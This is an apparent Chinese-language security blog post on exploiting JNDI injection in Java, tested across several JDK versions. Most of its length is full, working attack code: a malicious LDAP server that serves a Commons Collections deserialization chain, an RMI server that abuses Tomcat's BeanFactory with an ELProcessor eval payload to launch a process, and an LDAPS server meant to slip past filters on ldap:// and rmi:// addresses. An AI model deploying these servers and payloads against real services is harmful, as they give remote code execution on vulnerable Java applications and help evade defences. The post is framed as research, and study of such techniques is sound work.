在javax.naming.spi.NamingManager#getObjectInstance会调用factory.getObjectInstance(),虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类如果在受害目标本地的CLASSPATH中,就会实例化工厂,并调用getObjectInstance() 方法。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。
JNDI+LDAP(serialize) 根据上面代码调试结果继续进行分析 
1 2 3 JAVA_ATTRIBUTES[2] = javaClassName JAVA_ATTRIBUTES[4] = javaCodeBase  // 在高版本中这个选项可以不添加,因为没有用到 JAVA_ATTRIBUTES[1] = javaSerializedData 
 
所以构造属性
1 2 3 4 ds.add("dc=Exploit",         new Attribute("javaClassName","Exploit"),         new Attribute("javaSerializedData",bytes)     ); 
 
但是失败了,直接打断点调试,看看是什么问题?
因为我确实没用过ldap服务,在ldap服务中,所有条目都应该包含objectClass这个属性,从上面的代码也可看到有在匹配objectClass,否则var4会重新初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import  com.unboundid.ldap.listener.InMemoryDirectoryServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import  com.unboundid.ldap.listener.InMemoryListenerConfig;import  com.unboundid.ldap.sdk.Attribute;import  com.unboundid.ldap.sdk.LDAPException;import  javax.net.ServerSocketFactory;import  javax.net.SocketFactory;import  javax.net.ssl.SSLSocketFactory;import  java.io.*;import  java.net.InetAddress;import  java.nio.file.Files;import  java.nio.file.Path;import  java.nio.file.Paths;import  java.util.Hashtable;public  class  EvilLdapServerSerialize  {    private  String ip;     private  Integer port;     public  EvilLdapServerSerialize (String ip, Integer port)  {         this .ip = ip;         this .port = port;     }     private  void  start ()  throws  LDAPException, IOException {                  InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=Exploit" );         config.setSchema(null );                  InMemoryListenerConfig  listenConfig  =  new  InMemoryListenerConfig (                 "ldap" ,                 InetAddress.getByName(ip),                 port,                 ServerSocketFactory.getDefault(),                 SocketFactory.getDefault(),                 (SSLSocketFactory) SSLSocketFactory.getDefault()         );         config.setListenerConfigs(listenConfig);                  InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);         Path  path  =  Paths.get("D:\\javaCode\\RmiStudy\\cc2.ser" );         byte [] bytes = Files.readAllBytes(path);         ds.add("dc=Exploit" ,                 new  Attribute ("javaClassName" ,"Exploit" ),                 new  Attribute ("javaSerializedData" ,bytes)                 );         ds.startListening();         System.out.println("LDAP server started successfully..." );         System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" );     }     public  static  void  main (String[] args)  throws  LDAPException, IOException {         EvilLdapServerSerialize  evilLdapServerSerialize  =  new  EvilLdapServerSerialize ("127.0.0.1" ,389 );         evilLdapServerSerialize.start();     } } 
 
这里的cc2.ser是CC2的反序列化链,前提是所测试的环境必须要包含对应的漏洞组件。
1 2 3 4 5 <dependency >     <groupId > org.apache.commons</groupId >      <artifactId > commons-collections4</artifactId >      <version > 4.0</version >  </dependency > 
 
为了验证是否触发了反序列化,在InvokerTransformer.transform()方法上打个断电,然后运行JNDI lookup()
可以看到确实运行到了这里,最后也是弹出了喜闻乐见的计算器。
不同jdk版本的测试情况
jdk_version 
JNDI+LDAP(serialize) 
 
 
8u65 
success 
 
8u111 
success 
 
8u201 
success 
 
8u341 
success 
 
可见用JNDI触发反序列化的jdk版本几乎没有限制,但一定要包含存在反序列化漏洞的依赖。反序列化之所以不会有jdk高版本的限制是因为,反序列化并不会触发loadClass()方法,也就不会触发检测。
在JNDI注入遇到高版本的JDK时,可以利用ysoserial生成payload后搭建恶意JNDI服务去测试。
JNDI+RMI(本地工厂类) 
浅蓝师傅已经总结的够到位了,不再重复“抄”了,不过我会逐渐完善JNDIExploit中的利用链。https://b1ue.cn/archives/529.html 
 
BeanFactory+EL表达式执行 在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。
这里可以直接下载对应的tomcat进行调试,看一下JNDI攻击Tomcat本地工厂类过程,具体调试配置在之前的文章有介绍,这里使用的tomcat的版本是8.5.0,使用高版本可能会失败,Tomcat7没有加入这个功能,而Tomcat高版本(9.0.63、8.5.79)移除了这个功能。
JNDI RMI SERVER
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package  com.jndiTest;import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  org.apache.naming.ResourceRef;import  javax.naming.NamingException;import  javax.naming.StringRefAddr;import  java.rmi.AlreadyBoundException;import  java.rmi.RemoteException;import  java.rmi.registry.Registry;import  java.rmi.registry.LocateRegistry;public  class  RMIServer  {    public  static  void  main (String[] args)  throws  RemoteException, NamingException, AlreadyBoundException {         Registry  registry  =  LocateRegistry.createRegistry(1099 );         ResourceRef  ref  =  new  ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null );         ref.add(new  StringRefAddr ("forceString" , "x=eval" ));         ref.add(new  StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" ));         ReferenceWrapper  refObjWrapper  =  new  ReferenceWrapper (ref);         registry.bind("Exploit" , refObjWrapper);     } } 
 
这里我debug了tomcat的源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package  com.web;import  java.io.IOException;import  java.io.PrintWriter;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  javax.servlet.ServletException;import  javax.servlet.http.HttpServlet;import  javax.servlet.http.HttpServletRequest;import  javax.servlet.http.HttpServletResponse;public  class  jndiServlet  extends  HttpServlet  {    public  jndiServlet ()  {     }     protected  void  doGet (HttpServletRequest req, HttpServletResponse resp)  throws  ServletException, IOException {         try  {             String  url  =  "rmi://127.0.0.1:1099/Exploit" ;             InitialContext  initialContext  =  new  InitialContext ();             initialContext.lookup(url);         } catch  (NamingException var5) {             var5.printStackTrace();         }         PrintWriter  writer  =  resp.getWriter();         writer.write("<h1>this is jndiLookUp!</h1>" );         writer.flush();     }     protected  void  doPost (HttpServletRequest req, HttpServletResponse resp)  throws  ServletException, IOException {         this .doGet(req, resp);     } } 
 
访问该链接就会执行calc
可以看到这里将eval方法放入了forced变量中
最后调用了javax.el.ELProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")
回过头来看BeanFactory的这个RCE,核心代码其实就是将forceString的值value取出,然后使用,对value进行分割,之后再用=再次分割。x作为参数名,eval就是方法名,注意这个方法必须只能有一个参数并且是String类型,之后会调用到这个方法,方法参数就是ref中参数名的值也就是ref.get('x')
1 2 ref.add(new  StringRefAddr ("forceString" , "x=eval" )); ref.add(new  StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); 
 
不难看出,其实本意就是用来调用set方法对属性赋值,但是由于对于用户的输入缺乏验证导致了RCE。
最后说一下为什么LDAP不能打这个BeanFactory,是因为LDAP只能返回Reference,而BeanFactory需要的参数类型是ResourceRef。
而ResourceRef是继承自Reference,所以在RMI中可以用ReferenceWrapper对ResourceRef进行包装,从而触发该漏洞。
上面的图可以看到decodeReference最后返回的是Reference。其实还有其他的不同依赖环境的执行链,浅蓝师傅已经总结的很好了,这里不再“抄”了。之后可能还会继续更新JNDI利用工具的利用链。
JNDI+LDAPS(Reference) 
https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html 
 
上面这个链接是P牛关于ldaps服务实现的文章,ldaps其实就是ldap+tls,就是外面套了一层。只要先tls握手成功,然后传输内容就可以。关于实现的话,可以参考p牛博客用一个套件用于处理tls数据包,然后将解密后的内容发给ldap恶意服务处理之后再将返回结果经过套件加密转发出去即可。
在chatgpt的加持下,可以比较简单的写出一个ldaps服务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  class  LDAPSSLServer  {    public  void  start (String domain, Integer port,Integer httpPort,String keystorePath,String password)  throws  Exception {         KeyStore keyStore;                  if (keystorePath.endsWith(".p12" )){             keyStore = KeyStore.getInstance("PKCS12" );             try  (FileInputStream  fis  =  new  FileInputStream (keystorePath)) {                 keyStore.load(fis, password.toCharArray());             }         } else  if  (keystorePath.endsWith(".jks" )) {             keyStore = KeyStore.getInstance("JKS" );             try  (FileInputStream  fis  =  new  FileInputStream (keystorePath)) {                 keyStore.load(fis, password.toCharArray());             }         }else  {             System.out.println("keystore type not support!" );             return ;         }                  KeyManagerFactory  kmf  =  KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());         kmf.init(keyStore, password.toCharArray());                  SSLContext  sslContext  =  SSLContext.getInstance("TLS" );         sslContext.init(kmf.getKeyManagers(), null , null );                  SSLServerSocketFactory  sslServerSocketFactory  =  sslContext.getServerSocketFactory();                  InitialDirContext  initialDirContext1  =  new  InitialDirContext ();         Attributes  attributes  =  initialDirContext1.getAttributes("dns:ldaps.luc1fer.cn" , new  String []{"A" });         String  ip  =  attributes.get("a" ).toString().substring(3 );                  InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=Exploit" );         InMemoryListenerConfig  ldapsListenConfig  =  InMemoryListenerConfig.createLDAPSConfig(                 "ldaps" ,                 InetAddress.getByName(ip),                 port,                 sslServerSocketFactory,                 null           );         config.setListenerConfigs(ldapsListenConfig);         config.setSchema(null );         InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);         ds.startListening();                  Reference  reference  =  new  Reference ("Exploit" , "Exploit" , "http://"  + ip + ":"  + httpPort + "/" );         Hashtable<Object, Object> env = new  Hashtable <>();         env.put(Context.PROVIDER_URL,"ldaps://" +domain+":" +port);         env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory" );         InitialDirContext  initialDirContext  =  new  InitialDirContext (env);         initialDirContext.rebind("dc=Exploit" ,reference);         System.out.println("LDAP server started successfully..." );         System.out.println("LDAP server address is " +"ldaps://" +domain+":" +port+"/dc=Exploit" );     } } 
 
ldaps其实是ldap+ssl,主要是为了提高数据传输的安全性,在尝试JNDI注入时,可能服务端检测JNDI地址是否包含ldap://或者rmi://等关键字符,这时可以使用ldaps://进行绕过。在搭建ldaps服务时,需要准备一个自己的域名,比如ldaps.xxx.com解析到你的恶意服务器地址例如xxx.xxx.xxx.xxx。ldaps需要CA证书,可以到sslforfree 申请免费ssl证书。如果在sslforfree中签发的证书有三个文件certificate.crt、ca_bundle.crt、private.key。
创建PK12 KeyStore:
openssl pkcs12 -export -in certificate.crt -inkey private.key -certfile ca_bundle.crt -name server -out server.p12
由PK12 转换成为JKS(可选):
keytool -importkeystore -srckeystore server.p12 -srcstoretype PKCS12 -destkeystore server.keystore.jks -deststoretype JKS
在创建keystore时需要设置密码,之后就可以开启服务了,注意使用p12格式的keystore时要用jdk8u301以上版本,否则会报错,经测试8u341可以正常运行。ldaps本质上还是ldap+reference,所以jdk版本限制还是跟ldap一致。
jdk_version 
JNDI+RMI 
JNDI+LDAP 
 
 
8u65 
success 
success 
 
8u111 
success 
success 
 
8u121 
fail 
success 
 
8u201 
fail 
fail 
 
JNDI+LDAPS(serialize) ldaps协议同样也可以配置反序列化,代码都已经写到项目中,不再赘述了。
github中该项目还在进一步完善中。由于篇幅原因,不再介绍其他内容,至于项目中如果用到新的有意思的内容会在之后的文章中介绍。